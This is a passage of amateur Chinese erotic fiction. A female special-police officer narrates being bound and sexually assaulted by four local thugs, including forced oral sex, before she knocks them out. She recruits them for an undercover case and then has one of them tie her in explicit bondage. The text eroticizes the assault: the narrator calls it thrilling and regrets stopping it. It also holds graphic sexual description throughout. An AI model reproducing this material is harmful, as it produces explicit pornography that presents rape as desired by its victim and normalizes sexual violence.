瘦猴说:“一起来也不行,就……就是一个洞,总还是要个先后吧……”。
“谁说只有一洞,据我所知应该有三个洞才对……哈哈……”。四个人同时放浪地大笑起来。
粗蔑的言语简直不堪入耳,完全不顾忌我的感受,真的将我当作是婊子和淫娃了。我一直没有作声,所思考的只是如何逃离魔爪。我被他们又推又拉地带进了卧室,里面只有一张席梦思的床垫和一个床头柜。
张军首先躺到了床垫上,然后不容分说地狠狠一拉绳子,我没防着,穿着高跟鞋又带着脚镣的双脚绊在床垫上,惊叫一声,我便身不由已地摔向张军的身体。
眼看就要扑到张军的身上,岂知张军一让,我便重重地扑到床垫上,身体还弹了起来,所幸床垫柔软,摔得不重。
张军纵勇着:“哥儿几个,愣着干嘛?上啊”。
一阵欢呼,那三个人都涌上了床垫。顿时无数双手在我的身体上疯狂地侵犯起来,我不知道是谁扯烂了我的T恤,也不知道是谁扒去了我的牛仔裤,除了紧紧绑缚在身上的绳子,我已经一丝不挂了,洁白的玉体完全暴露出来,让他们看得真真切切,也被他们肆意地抓揉……
我痛苦而又无奈地呜咽着,发出屈辱的悲鸣。我将要被几个社会的无赖、四个流氓……
不知从哪里涌出来了力量,我暴发了,双腿一阵难蹬,不知何时,我脚上的镣铐已经被打开,高跟鞋也被脱去。四个赤身裸体的男人闪在一边,惊愕地看着我。
我又意识到自已在捆绑的困境下没有信心对付四个年轻力壮的歹徒,在他们还是惊愕的同时,我改变了嘴脸,变得淫媚,淫声浪语地说:“你们四个同时来,人家怎么受得了啊?一个一个的来嘛,不如……、、不如我们来玩游戏啊,好不好嘛。”
张军来了兴致,说:“就是啊,这样乱搞一气多没意思,你说,咱们怎么玩?”
我思绪飞转,立时有了一个还不成熟主意,娇声说“;我们来捉迷藏好不好?
谁先抓住我谁就先……就先干我……“。
那个瘦猴竟是第一个赞成:“好啊,好啊,这样最好,你们几个力气比我大,总是把我挤到一边,这不公平,就按这骚货说得算”。
张军也说好,说早想这样玩了。那俩个也露出兴奋的表情,说这样更定很刺激。
瘦猴问张军:“你说早想玩了,怎样玩啊?”
“我们四个人都将眼睁朦上,谁先抓住她,她就是谁的,怎么样?”三人略一迟疑,便都答应了。
张军然后问我:“这样玩喜不喜欢?不过要一视同仁,可不许中意谁就故意投怀送抱。”
看来他们竟真的将我当成淫娃荡妇了,忙欢笑着说:“好啊,好啊”。然后给张军抛了个媚眼,那意思是说:要中意也是你啊,接着说:“不过,给我松绑好不好?手都绑得跟没了似的。有你们四个帅哥陪着,人家想跑也舍不得啊”。
张军却道:“你不是喜欢吗?”
“……是啊!可人家的手都快被绑断了,好痛苦的嘛……”。
第六章
张军迟疑了片刻,终于说:“那好,不过我们没有你手铐的钥匙,这么办?”。
看得出张军的脸上还有些疑虑,我不敢轻易地将钥匙说出来,只得说:“只要解开绳子就好了,手就铐着好不好,免得你们担心我跑了呢,是不是?”
见我如是说,张军不再犹疑,给我松开了绳子,却将勒进阴部的那根绳子绕到身后,连同我的手臂在腰上紧紧地缠了几圈,将我的双手固定在腰上。我有些气苦而又无奈,还不敢表露出来,嗔道:“怎么还绑啊?”
张军说:“手吊着很痛,这样绑不就得了,”。
他们四个人果真各自找到可以朦眼的布条将自已的眼睛朦了起来,我故意发出兴奋而又淫浪的笑语:“谁要是偷偷地摘下朦眼布可不算数哟”。
四人同时说:“那当然……”。
我却乘他们等着喊开始时偷偷地移到了卧室的门边,手抓着门把手突然将门打开,冲到客厅,然后才大声说:“开始啦,快来抓我啊……”。所幸高跟鞋没有穿在脚上,不然哪有这么轻松。
张军第一个从门里出来,挺着下面,循着我的叫声向我扑来,方向很准,让我惊异,险些就被他抓到。我一弯腰闪躲过去。房间必境不大,刀疤脸一下子就接近了我,双手不停地横扫着,将我B 到房间的墙角,我只得低下身子,想从他的腋下穿过,岂知被他感觉到了,伸手从底下一抄,我万难躲避,偏又出奇的巧,这一抓正好抓在我的乳房上,情急中我急扭身子,哪知他的反应也快,胡抓之下,竟然……竟然捏住了我的乳头。
我也顾不得去感觉什么耻辱,在他还没有抓牢另一只手也来不及伸过来时,借势一滚,虽然挣脱,乳房却传来一阵被扯掉般的疼。忍着疼痛,在地上我又屈膝绕过光头,滚到卧室的门边……我必需再进到卧室里,因为牛仔裤在里面,我要拿到手铐的钥匙。正暗自庆幸很顺利的时候,却看见瘦猴的手正从脸部放下。
他偷看了。我差点就大喊他犯规了,可忍住了,如果重新再游戏的话,不知会有什么样的变故,一个瘦猴或许还对付得了。果然,那瘦猴向我走来。
我以最快的速度移动着身体,很快就接触到牛仔裤,可双手反铐着又被绳子缚在腰上,一时间还无法得到钥匙,只得跪在地上,然后又背对着牛仔裤坐下,这时,瘦猴已到跟前,我只有将牛仔裤抓在手里,盯着瘦猴的举动,轻轻地向边上移。
瘦猴又想偷看,我忍不住冲口就说:“不许偷看”。话一出口,我就感到了不妙,慌忙向傍一滚,瘦猴便扑了个空,幸好这时我的手已经摸到了装钥匙的口袋。
客厅的三个人听到动静,也向卧室移来。卧室的空间更小,被抓住是迟早的事情,在抓住之前如果拿不到钥匙,我的幸苦就算是白费了。或许是老天爷开始眷顾我,竟然让我很快地就拿到了钥匙,其实只需将牛仔裤倒过来抖抖,那钥匙便落到了地上……
在拿钥匙时其实是在和时间竞赛,没时间再去逃避,现在想要躲避却已经不及了,我已经被他们一直赤裸的肉体团团围住。
怎么办?情急中我很快就作出了选择,将身体向瘦猴靠去,瘦猴抓住了我,露出欢喜的惊呼。那三人无奈地扯去朦布,张军还狠狠地瞪了我一眼。瘦猴搂着我,很用力地让我不得不紧靠在他的身体上。我不敢尝试着用钥匙打开手铐,必境他搂着我的手离手铐很近。
在瘦猴而言,我已是他的了,不但露出胜利的自豪,还不忘溪落一下失败者,更肆无忌弹地揉弄我的乳房,表现出胜利者的姿太。
我没有挣扎,而是装作害羞的样子,温顺地靠在他身上说:“你还不将他们赶出去吗??”
“对,对……你们快出去,我是第一个……嘿嘿……”。
三个人一出去,我就让瘦猴再将门关上,趁他关门的时机,我找寻着手铐的锁孔,可惜没来得及找到,瘦猴已经回到了我的身边,而我又必须装成淫妇的样子和他周旋。
瘦猴已经控制不住自已,一上来就将我按到床垫上,分开我的双腿,扶着下面就要挺入。此时,我就算还没有打开手铐,也自信能让他失去活动的能力。可是我不敢这样做,怕惊动另外三个人,对付一个人虽然有信心,可是同时对付三个就不那么容易了。
在那下面接近我的阴道时,我慌忙说:“等一下嘛,人家……人家……”。
脑海里闪出江娜为男人口交的镜头:“人家想吃……想吃你的……你的小弟弟……“。
那下面已经抵进我的阴道中,刚感到一丝轻微的痛疼,那下面抽了出来,我忍不住惊恐地看向下体,只听说女人的第一次会流血,如果流血的话是不是代表处女膜给破了?幸好没有看到血迹,稍稍安心了些。
瘦猴便兴奋地将下面凑近我的嘴边,如此接近此物,竟让我有些眩晕,更充满了羞耻的心理……
第一次,这是我的第一次,我竟可以无耻到为一个流氓用口去做这种羞耻而又肮脏的事情,虽然我可以找到情势所逼的借口,但我为什么不可以像贞洁女那样为了自已的贞洁选择死亡?
我……我倒底算个什么样的女孩子……?。
“不是想吃吗?快点,呵呵……还从没做过这样的事情……”。
为了不使双手压在背后而不便开铐,我娇声道:“嗯……你站着嘛……”
“哎,好!”。
瘦猴站了起来,我跟着跪在他的胯下,那阳物立时抵住我的嘴唇,虽然屈辱,但为了赢得打开手铐的时间,我不得不张开了口,将那物含住,有些恶心的感觉,不敢再将那物吞得更深。哪知瘦猴已经兴奋之极,用力地一挺,那物便深深插入我的口中,凶猛地进进出出,我想吐但硬生生地忍了下来。
不多时,我便打开了手铐,将手从绳子里一只只地抽出来。瘦猴竟没有发觉,我觉得奇怪,原来他仰着脸,闭着眼,不时兴奋地“哦,喔”地呻吟。
我猛地站了起来,一手劈在他的颈上,瘦猴哼都没哼,就昏倒过去,脸上露出奇怪的表情。我将瘦猴用绳子顺速捆绑住手脚。看着那沾满我唾液的下面,顿时恶心地吐了几口。现在,我该对付室外的三个流氓了。
我没打算穿上衣服,也没有解开绑住阴部的绳子,反正我的身体早就被他们看光了,这样反而更……更刺激,特别是绑住阴部的绳子和那个绳结,让我……让我很舒服……
我拿着手铐,打开门,然后将双手背在身后,像还是被铐着的样子走了出去。
他们三人只穿着短裤坐在沙发上不知聊些什么,见我出来都站了起来。张军似乎意识到了什么,伸脸向房里看,我自然不能给他任何机会,闪电般地一掌又击在张军的颈上,张军哼了一声,向前栽倒。趁着刀疤脸和光头还在惊愕时,抱着俩人的头狠狠地一撞,俩人顿时瘫倒在地上。
只到此时,我才彻底地松了口气,解开绑住阴部的绳子,却有些……有些舍不得……因为绳子不多,我就将这三人拦腰绑在一起。然后从容地去穿自已的衣服。
可是我的胸罩,内裤和T恤都被撕烂了,只得直接穿了牛仔裤,再将瘦猴的衣服穿在身上。
我坐到沙发上,只待他们醒来报仇雪耻,可我不知该怎样处理他们,交给公安处理吧,我又怕他们什么都说出来,有损我的名誉。放了他们吧,又怕他们乱说,同样损了我的名誉,总不能杀了他们吧,那我岂不是犯罪……
思来想去,觉得他们虽然见过我的面,却不知道我是谁,过两天我也就走了,就算他们乱说,谁会知道是我。或许他们觉得自已四个大男人被一个女孩子打得惨痛,不敢说出去也说不定呢。看来也只能如此了。
渐渐地想到刚才的经历,竟不自禁地心跳加速,脸也红了,身体也火烧起来。
越想越觉得刺激。这时候才意识到自已的身体其实一直和心理发生了相反的变化。原来从南山被紧缚开始,我的身体就处在亢奋的状态,不然怎会……
下面怎会流出那么多的液体,甚至还有过放弃反抗的心理……自已没有感到身体的变化,只是因为自已的心里不敢面对,不敢承认在那种情况下还会有这样不正常的反应,再加上情势所逼 ,一心想逃离屈辱的困境,所以才没有感觉到吧。但现在却不同了,没有了危险,那受虐的快慰便不受禁制地从内心涌出……
我不得不承认自已喜欢刚才所经历的一切,当时的屈辱和羞耻以及被紧缚的无奈让现在的我无比的兴奋,甚至有些后悔为什么要阻止他们,如果这只是一场游戏,那该有多好。我喜欢这样的游戏。
张军首先清醒了过来,张嘴就骂:“臭婊……”。我没给他机会,狠狠地就是一个耳光。他没想到我会这么狠,顿时惊惧地不敢作声。
最后醒来的是瘦猴,但每个人都挨了我一个耳括子,接着我就像魔女一样毫不留情地痛打了他们一顿。让他们从不屈到屈服,对我产生了极度的恐惧,然后让他们交待自已的恶行,威协他们要将他们送进局子里,他们大喊求饶,希望我放过他们,发誓一定痛改前非……
如不是被绑着,我想他们都可能给我跪下磕头了。这就是小混混,欺软怕硬的小流氓。
从他们的口中得知,他们其实还不算坏,至少现在还不算坏,还没做出什么伤天害理的事情,顶多调戏一下女孩子,欺侮一下弱小。还说自已是有色心没有色胆,要不是以为我是一个淫荡的变态狂,也不敢对我怎么样。我问他们为什么抢劫,他们说一次喝酒,在某个夜总会摸了一个女孩子的屁股,哪知那个女孩子的男朋友是当地一霸,以此勒索他们,让他们拿出五万元钱了结此事,否则便让他们断手断脚。眼看时限不多了,又拿不出钱,才出此下策,哪知抢了几个晚上,也没抢多少,反倒吓得没人再敢上南山。
听他们说完,也不知是为了什么,我竟动了侧隐之心,想要帮助他们。问他们为什么不报警,他们说不敢,因为那个男的有黑社会背景,在他的身后还有个老大,手下都是些亡命之徒,居说还和当地的警察关系很好,警局有内线。接着我又从他的嘴里听到惊人的消息,说这伙人可能贩毒和贩卖人口。
我问他们是怎么知道的,张军告诉我是他女朋友顾红说的。顾红就在那家夜总会上班。本想让顾红帮他们说些好话求求情的,哪知顾红更怕他们,告诉张军那些人心狠手辣,逼良为娼,诱人吸毒,稍不如意便动手废人,前两天还亲眼看到有几个外地来夜总会打工的女孩子被捆绑着手脚押上一辆车离开,才有此猜测。
我忍不住问顾红是谁,张军说也不清楚,只知道她叫顾红,在网上SM聊天室认识的,因为都喜欢SM游戏,又同在一个城市,就聊到了一起。虽然不能确定这个顾红就是我的婊妹,但我心理却想肯定是她了。
我又问什么是SM.张军很奇怪地看了我一眼,说就是施虐和受虐的奴役游戏。我知道他为什么会奇怪看我,因为他见到我时我被铐着,一定以为我也喜欢SM了。原来我的不良嗜好就是SM,很奇怪的代名词,却让人呯然心动。
随后我给他们解开了绳子,说如果他们答应改邪归正,以后不再做违犯的事情,我愿意帮助他们。虽然他们不相信眼前的女孩子能帮助他们,但我让他们觉得很神密,就像是黑夜里突然点亮的灯火,还是让他们看到了希望,不然也没有别的办法。
他们主动地报了姓名和电话号码。瘦猴的名字叫孙勇,外号叫猴子,想着刚才竟然差点让他……
还为他口交的羞耻处境,现在却成了他们的救星,真是……刀疤脸叫葛涛,外号叫葛子,光头叫杨光,外号就叫秃子。
他们问我怎样帮助他们,我说没有想好,让他们明天下午来这里等我的消息。
临走时,张军竟然叫我一声“大姐”,跟着三个人也都叫了。我一想他们的希望系在我身上,自然要讨好我,我本来也比他们大,叫声大姐也应该。哪知这大姐还有另一层意思。张军说以后我就是他们的大姐大,这大姐大和黑社会的大哥是一个意思,就是以后他们跟着我混,让我罩着他们。
我说我可不是黑社会,也做不来大姐大。张军说得更有意思,他说经过刚才那一遭,怎么看我都不像普通的女孩子,一定有什么背景,跟着我准没错。,就算我不愿做他们的大姐,但在他们的心里一定会记住我这个大姐的。
我心想如果不能解决你们的困难,还会认我做大姐大吗?这话却没说。心下又想,也好,做了他们的大姐,或许会将他们引入正途,未常不是好事,便说:那行,我就是你们的大姐大吧,不过我这个大姐却不容许再做违法乱纪的事情,否则知道了决不轻饶。
他们都点头称是,很恭敬的样子,说以后只听大姐的,让他们做什么就做什么。
回到家里已是临辰一点多钟了,脑海里总是涌现出刚才屈辱的经历,自然是无法入眠,不管是身体和心理都处在强烈的亢奋之中。洗澡时就忍不住抚弄自已的下体,虽然不是第一次自慰,可今天特别的兴奋,总忍不住想将手指插进去,再这样下去,我的处女就被自已的手指给破了。于是我只得将卧室的门锁好,在床上将自已的双脚用绳子紧紧地捆绑起来,然后将双手反铐在背后,这样自已便无法自慰……也不知过了多长的时间,我才沉沉地睡了过去。
我做了一个梦,梦到自已正被张军等人百般凌辱着,四个男性的身体和四根下面在我眼前晃动,在我的口里和下体抽插,最后竟将我捆绑着作价五万元买给那个勒索他们的恶霸。那恶霸又逼我做妓女,和不同的男人上床,最后又被卖给了偏远的山村做了农民的老婆……
“梅梅,梅梅……”是母亲的叫声。
我从睡梦中醒来,身上湿漉漉的出了一身的冷汗。忽地惊觉自已竟被捆绑着手脚,竟以为自已不是在做梦。当看到眼前熟悉的事物时,才想起昨晚自已捆绑自已的事情。我长长地舒了口气,稳了稳杂乱的心神,又感觉胯间濡湿一片,床单上也有污渍,不禁又羞又耻,满脸菲红。
母亲是叫我起来吃午饭的。我慌忙解开束缚,整理了一下房间……父母没有问我昨晚的事情,他们一定以为我和凯在一起。
吃完饭,我就向我的上级汇报了这里的情况,当然我隐瞒了被羞辱的经历,只说是无意中得到的情报,问该怎么处理。上级说还得向上级请示,因为这不该我们管。不久就有了回音,正如我所料的那样,让我继续查下去,因为当地公安有内线,不可能让当地的公安介入。并告诉我让江娜协助我,一旦证据确实,将由女子特警队全权抓捕。
至于我先前去A市的任务,先交给其它队员了。上级希望我们尽快破案,因为还有更重要的案子等着我们。
整个下午,我都在想如何尽快破案的事情,想来想去也没想到更好的办法。
直接抓那恶霸审问,可能会打草惊蛇。看来只有去夜总会卧底,……我不禁想到昨晚梦中的场景。俗话说:不入虎穴,焉得虎子,一个大胆又不太成熟的计划从心里浮起。
吃过晚饭,我换上一件无袖的紧身背心,又从背包里拿出另一套牛仔套装,就是短袖牛仔夹客和牛仔裙。牛仔裙我从没有穿过,夹客一直是搭配牛仔裤穿的,可惜昨晚牛仔裤脏了,不好再穿。家里也没什么合适的衣服供我选择,不是不合身,就是太过时了。其实牛仔裙也不是超短的那种,不穿它是因为它太紧,像一步裙样,行动不方便。自从昨天穿了高跟鞋,我便喜欢上了它,它使我的腿看上去很挺直,很性感,可惜,我还没有长筒丝袜,不然就更好看了。
父母也没问我要去哪里,只夸我现在的样子还像个女孩子。一定以为我是去和凯约会吧。
来到昨晚的那栋房子,没敲门,门就开了。四个大男孩子很恭敬地叫了声:“大姐”。
被叫作大姐,其实让我有些虚荣感。一进房间。房间里被打扫得很干净,屋中居然多了一张桌子和几把椅子。那桌上摆放着看上去很丰盛的酒菜。
张军说:“大姐,请上坐”。
我说:“我吃过了,不饿”。但还是坐了下来,因为有事要商量。
瘦猴赶忙在我面前的酒杯里加满了啤酒,我有些口干便也没有拒绝。瘦猴依次加满了酒,四人都坐了下来。
看着四个差点LJ了我的男人,现在又坐在一张酒桌上,还做了他们的大姐,心里颇多感概,脸色也不禁红了。
张军首先站了起来向我敬酒,接着依次都向我敬酒,说了一些恭维和感激的话。我大大咧咧地都干了,就像电影里黑道老大豪气干云的样子。四个人不住夸我好酒量,说大姐大就是这种样子。他们哪知我四杯酒下肚,头都有些晕了。
他们还要敬,我忙说:“不喝了,该想想怎样对付那帮人。”
一听到正题,便安静下来,我知他们没什么主意,只会听从我的安排。便说:“要想彻底地解决他们,必需掌握他们的犯罪证据,让公安来制栽他们,否则就算将他们痛打一顿,他们还会报复,必竟是地头蛇。”
四人都点头称是,张军说:“就怕他们和公安有勾结,到头来反害了自已。”
我说:“本地公安不可靠不要紧,只要我们掌握了他们的犯罪证据,就可以向省公安反应情况。”
随后我们又谈了一些那恶霸的事情。那恶霸叫黄忠,认识他的人都叫他忠哥,是那家夜总会看场子的打手,他相好的女子叫吴燕,也就是张军等人调戏的那个女人。至于他身后的大哥,应该就是夜总会的老板,只是从没露过面,不知其真面目。
他们问具体该怎样做。
我便告诉他们我的打算,就是去做卧底,不但要将坏蛋一网打尽,更要救出被他们抓住的女孩子。
还是张军聪明,很快就对我的身份产生了怀疑,问我是不是警察。
我犹豫了一下,还是告诉他们我其实是一名女子特警队员。
张军说:“难怪我的身手那么好,一下子就可以将他们打昏……”
我的脸却是红了,有些发烧,不知是不是因为喝了酒的缘故。我知道张军在奇怪,一个女子特警队员怎会铐着双手夜游南山。我想是看出了我的窘迫吧,张军没敢问出来。
哪知瘦猴却问了出来:“是谁铐住了你的双手啊?是那个跟你一起的男人吗?是男朋友?”
张军白了猴子一眼,却又很期待我的回答。
一时间我又怎能想到更好的理由来解释。也许酒精真可以乱性吧,内心里竟然产生莫明的欲望,忍不住照实说了:“是……是我自已铐的……”
然后用自已也说不清的眼神看了张军一眼,不无羞耻地说:“你猜的没错,我喜欢捆绑的感觉,不然怎会让你们……”
除张军之外,那三人竟是呆住了,可能是不相信一个女特警竟会喜欢如此变态的嗜好吧。张军灿灿地笑道:“幸亏我们……我们没有得逞,不然……不然我们的祸可就大了……嘿嘿……”
我冷冷地说:“就算……就算得逞,我也不敢……不会将你们送交公安的,不过,你们可能会比那更惨。”
四个人慌忙点头称是,又敬了几杯酒请罪。被他们大姐大姐地叫着,真的有些漂漂然了,话也多了,竟不知怎么谈到SM上。渐渐的我也忘了自已的身份,情不自禁对SM露出有着浓厚的兴趣和期待的表情。
张军滔滔不绝地讲述着SM的事情,什么捆绑啊,调教啊,羞辱啊,什么主人啊,性奴隶啊……
讲着讲着就让不胜酒力的我产生了幻觉,张军的话也变得遥远起来,仿佛我就是他说的那个被捆绑、羞辱、调教的性奴隶了……
迷乱中竟脱口说:“我是一个性奴隶,调教羞辱我吧……”话一出口,我才惊觉自已的失态,顿时面红耳赤,羞愧难当。
张军本还在不绝地讲着,闻言更是惊讶地瞪着我,不相信自已的耳朵:“大……大姐,大姐说什么?”
我知道他听清楚了,只是不敢相信我会那样说。他的眼神让我更加慌乱和羞耻,一时间不知所措地辩解:“不……不……我没说我是一个性奴隶……”
天啦!这岂不是越辩越黑?更加羞愧得无地自容。我是怎么了,一谈到捆绑和SM就迷失了自已?
张军:“……”
张军或许是因为不知该说什么,但却让我产生自暴自弃的和自已赌气的另类心理,也或许是对SM有着强烈的欲望,我竟突然平静了,坦然地说:“有绳子吗?将我绑起来怎么样?我……我喜欢”。
“啊?有,可是……我怎敢绑……绑大姐啊?大姐……大姐是不是……是不是喝醉了……”
我的确是有些醉了,但还很清醒,可我宁愿装作酒醉的样子,竟是妩媚地一笑,更有些爱昧地说:“你是不敢绑呢还是不愿意?”
“是……是不敢……”。
“去吧,去拿绳子,大姐让你绑,因为大姐喜欢……”,又醉意朦胧地说:“反正……反正大姐的身子都叫你们这帮坏小子看光了,随你怎么绑都可……可以,就是……就是不要像昨天那样乱来……”。
张军:“真的……真的要绑?”
我点了点头。张军的脸色有些复杂,但看得出很兴奋的样子。他看了一眼已经喝多了的瘦猴三人,急冲冲地进了卧室。那三人在我和张军聊天时,就不住地相互劝酒,此时已扒在桌上见周公去了。我想了想,也跟着进了卧室。
续一
我也搞不清楚,同这些平时都不会多看上第二眼的小混混打交道,是不是本身就带有着自己潜意识里的需要,还真搞不清楚,我也不愿意多想这些。虽然被捆绑和被绑着的感觉已经不再陌生,也有像江娜那样不知“羞耻”的同事加朋友,但是依然觉得我这样的嗜好还是见不得人的。其实和江娜一样,我只是不好意思,不说出来而已,我是同样需要的,需要有人满足我。但这不妨碍我还是一个有正义感女特警,尽管我现在表现的并不太像。
我先进了屋。我若无其事的观察了一下屋内的环境:只有一张大双人床,木制的,很旧,但是看上去很结实。如果不来这个地方,我想不会见到还会有人在使用这样的破床。说实话,床单实在是太脏了,可是我醉了,起码我是正在这样的表现着呢,我现在不应该嫌弃这些,我甚至还有在那破床上面打一个滚的欲望。
我一扭身,一屁股坐在了炕沿上,我的动作一定很夸张,我对我的表演还算满意。张军正在插门,我怀疑我是否真的就是醉了,为什么他总在那里插门,插个没完没了,我的心被他那没完没了的插门动做搞得烦躁起来。
“你在干什么”
“大姐,门锈住了,插——,插不上——”
“不要插了,又不是ML,难道你还想借机强奸你大姐不成!”我一方面在吓唬他,另一方面却觉得这样子说话很刺激。
“不,不——敢!”
张军走到我面前前,我看到他额头上挂着汗珠。
“不要紧张,我不是告诉你了吗?我喜欢被绑起来!”我一边给他擦着额头的汗水,一边温柔的说。
“嗯,知道了。”张军一边说,一边弯腰从床下拽出一个纸箱子。箱子里装的东西让我的渴望在加剧着。是几捆麻绳,整齐的码放在里面,绳子很粗糙,可是每一卷都绕得很整齐。这让我想起了江娜,她那只黑书包里的绳子,虽然质地优良,号称日本进口,但永远的团在一起,而找不到头绪。
“怎样绑?姐姐?”我看到张军在擦着汗。
“随便你绑”虽然说的是随便,但我还是担心他会把我的双手绑在前面,那样会很扫兴。我把手背到了后面,两只手腕紧紧地重叠在一起。
“姐姐,我要开始了,就先委屈姐姐了”
张军把绳子对折后作成一个可以收紧的活套。穿过我后面的双手,一直套到我的肘部以上的部位。绳子在被一点点的收紧,感觉也在一点点的变得强烈起来。
我配合着侧过自己的身子,因为好想让他绑得更紧一些。在张军再次收紧绳套的时候,我努力的合拢并抬高后面的双臂,这样的动作让我不得不弯腰低头,不过效果很好,这一次收紧让我的两肘完全的并到了一起。这时候,张军才开始用剩下的绳子在已经并住的双肘上方连续的缠绕,肩部感觉到微微的酸胀,手肘部同时的传来了麻绳的压迫感。
还好,穿着牛子上衣,应该不会留下什么痕迹。剩下的绳头穿过两臂之间又绕上了几圈,其实两臂间已经没有什么缝隙了,打结的时候让我感觉绑在后面的绳子又紧了许多。我试着挣扎了一下,从手臂到肩膀已经失去了控制,我的挣扎只是让我的身子摇晃了摇晃。
“姐姐疼吗?”张军关切的表情显的很异样。
“这样很舒服!”我想我是给了他微笑,我的声音也该是温柔的。
他额头的汗水掉下来几滴落在我的大腿上。我没有穿丝袜,汗珠很大,砸上去很有感觉,特别是那汗珠顺着我的大腿向膝盖的侧后面流下去的时候,真的很痒。
自从有了那些疯狂的经历后,我才知道还有一种更吸引人的捆绑感受,同江娜在一起是不一样的。现在我的浑身上下在发散着湿热的感觉,我想这才正是我想要的。我的脸有没有红,我是看不到的,但是它一定是很热的。和江娜的疯狂已经是上个月的回忆了,凯又是一次次的令我的心机白费,那种扫兴的过程就是我宁可不要,也不要再想试试了。
我同江娜在执行任务中经历的惊心动魄,还有在南山上与这帮小混混发生的一切,这段时间总在我的梦里反复的出现。在梦里,我一次又一次地被结结实实的捆绑,裸露,甚至是被奸污。 还好,每一次我都会在梦里痛快的达到高潮,那样的感觉是江娜从没有带给过我的。虽然每当我褪下那片湿透的内裤的时候,我也感觉到了羞耻,但是从我内心,我还是无发拒绝那些给我快乐的冲动。
“姐姐,手还要绑吗?”
“当然”我斩钉截铁的回答着。
手的捆绑和肘部的一样,张军的动作很熟练,他一边绑着我,一边在流着汗,我听着他越来越急促的呼吸声,就觉得更加的刺激。我看到他两腿之间的东西已经硬了,裤裆处被顶了起来,我知道那东西是因为我而硬的,我觉得这样很好玩。
我不由自主的隔着裤子去想象着他撅起时的样子,这也不难,我本来就见过他撅起时侯。同样也包括瘦猴、刀疤、还有秃子他们的家伙,每一个都见过,甚至瘦猴的那个还曾经塞到过我的嘴里……
男人这东西所谓“神奇”的状态变异功能,我已经领教过,不过话说又回来,其实我的下面也有了空洞的感觉,应该也已经很湿了。
我的手被紧紧地捆住了。我看到张军准备要把剩下的绳子缠绕在我的腰上,我猛地站了起来,叫他停下!也许是我起身太快了,他用吃惊的样子看着我。
“看什么看?这还用我教,把绳子从我的两腿间穿过,再绑到腰上。”
“好——知道了——马上——”张军一边喘着粗气,一边答应着。
绳子在后面从两腿间穿到了前面。张军的手小心翼翼的,但是还是碰触到了我的大腿,就是这细微的碰触就让我感觉到很痒,或是很麻吧。反正和江娜带给我的感觉不太一样。
张军这时也随着绳子转到了我的前面,半蹲在我两腿的正前方。我的手臂被紧紧的绑在后面,我的胸脯因此而挺的很高,我站得很直,我对我的形体充满着自信,这也得益于我长期的武术训练。我的牛仔上衣本来就不大,这时也因为捆绑着而夸张的向后敞开着。我的无袖背心还是很时尚的,短小而领口很大。
在我半罩杯文胸和捆绑的共同作用下,我乳房的一半甚至是更多,从背心的领口处被严重的挤了出来。我还从来没有想过,我的乳沟也可以变成这样的凹凸有致。其实我的乳房本来没有那么的大,可它现在的样子很容易让我想到了一个哺乳期的妇女。即便我有些害臊了,但现在已经是不可能再让这一对乳房再回到原来的状态,再回到我的背心里面了。因为我的手臂已经失去了自由,它们被牢牢的栓在了背后。不过这样也不错,我也许还就不想让它们回去呢!
张军这时却没有了刚才那一气呵成的气魄,手里抓着那刚从我两腿间穿过的绳头停在那里不动了。
“绑呀,刚才还想这要夸你两句呢!怎么停下来不动了?要罢工吗?”
“这——这怎么绑呀?”
我这才注意到我的牛仔群裹在我的两只大腿上,虽然不是很长,也快到膝盖了,的确是没法绑了。我看着他犯难的样子,倒也觉得也蛮可爱的。如果凯也这样的听话该有多好!这念头一带而过,我知道很多事情是不可强求的。在家我是个好女儿,在单位我是一真真负责的女特警。
我的亲人、同事和朋友,当然江娜除外,没有人知道我会有这样的“嗜好”,我也会因此而感到害羞。但是每当欲望到来的时候,我就无法控制。
我知道,这样的需求对于那些不了解和不知道的人来说,是无法理解的事情。我不想伤害任何人,所以我要隐藏。我的行为让我感到害羞和害臊,但不以为是可耻!
张军还在那里犯着愁。
可我已经等不及了。我的两腿间向我传来空荡荡的信号,我好想那里快些被绳子紧紧地勒住……“你笨呀,不会撩起来吗?”
这样说本身就很刺激,我的两腿间再次向我的脸部传来害臊的信号。坏了,这让我忽然想起一个非常重要的问题。出来的时候有意的没有穿内裤,只是为了让感觉上获取更大的刺激,再加上裙子不太短,觉得应该不会有什么问题,谁想冲动来的很猛烈,一时间就把这事给忘了。
再说什么也晚了,裙子已经被撩到了小腹的上方。雪白的大腿与小腹之间,是黑黑的毛……
我羞得眼前有些发晕,我不知道这样算不算挑逗,我想是在满足自己的同时该是发出了错误的信号。我看到张军的嘴唇再驿动着,汗水一股股地汇到他棱角分明的下巴磕子上再向下滴着……
时间好像在瞬间凝固了。这一刻的我也忽然的清楚了许多,我不能给这里任何人机会,这也是我本来的初衷。
“又看!又看!又不是没有见过,让你你干什么呢?快绑啊!”我很快的恢复到我那盛气凌人的语气。
“噢,马上,马上……”张军擦了一把额头上的汗水,听话的继续着他的工作。
也许是我态度的坚决让气氛有所缓和,我于是主动的和他搭起话来。虽然看上去张军还算老实,但这毕竟是一群没有受过多少教育的小混混,在自己很快就会失去全部自由的时候,还是小心些的为妙。
再者,外面还有几个贼眉鼠眼的家伙,谁知他们起来看到自己这个样子,会不会对自己撒野。我再对身上的功夫有信心,但是被绑成这个样子,对付一两个还好说,如果一起上我就会死定了。
“张军做了多少坏事?绑的女人该不少吧?”
“嘿嘿,没有了。”
“你这绑法是你自己发明的?”
“不是,是在网上看过的,绑的不好,让姐姐笑话了!”
“你绑的很好,哎——,哎哟——”我正在说着,绳子已经勒在了我的两腿之间。
“姐姐,是疼吗”张军连忙松手说。
“呵呵,是姐姐被你这坏弟弟吓了一跳,没事了,你继续吧!”。是麻绳触到了我的肛门,又扎又痒。但我可说不出口。
当麻绳再次压迫在我那敏感的地带时,感觉依然的强烈。不过这次我忍着,没有再出声。
“哦——,”麻绳累进了我的两片嫩肉,我再也忍不住的叫出声来。
张军这回并没有理会我。他站了起来,并还在用力的向上提拉手里的绳子。
我绑在背后的双手因此而紧紧的贴在了自己的屁股上,动弹不得。这时候,他的脸离我很近,我可以清楚的听到他的喘息声。
“好坏,你这个坏蛋!”我轻声的对着他的耳朵说。
他看了我,我们的眼睛在一瞬间相遇,我没有逃避,我的整个身体在燃烧着。
“哦!——哦!——”我想不到这个男孩会如此的对待我。他竟然还在加大力量,我不得不因此而踮起脚尖。这回不光是刺激,我的两腿间传来了灼热的疼痛感。
我没有叫停,我用眼睛坚强的瞪着他。他也看着我,嘴里喘着粗气。终于他还是停下了对我的折磨,我的脚后跟落在了地上,头上的汗一下子冒了出来。
剩下的绳子缠到了腰上。不用我说了,紧紧地勒在了我的身体上。
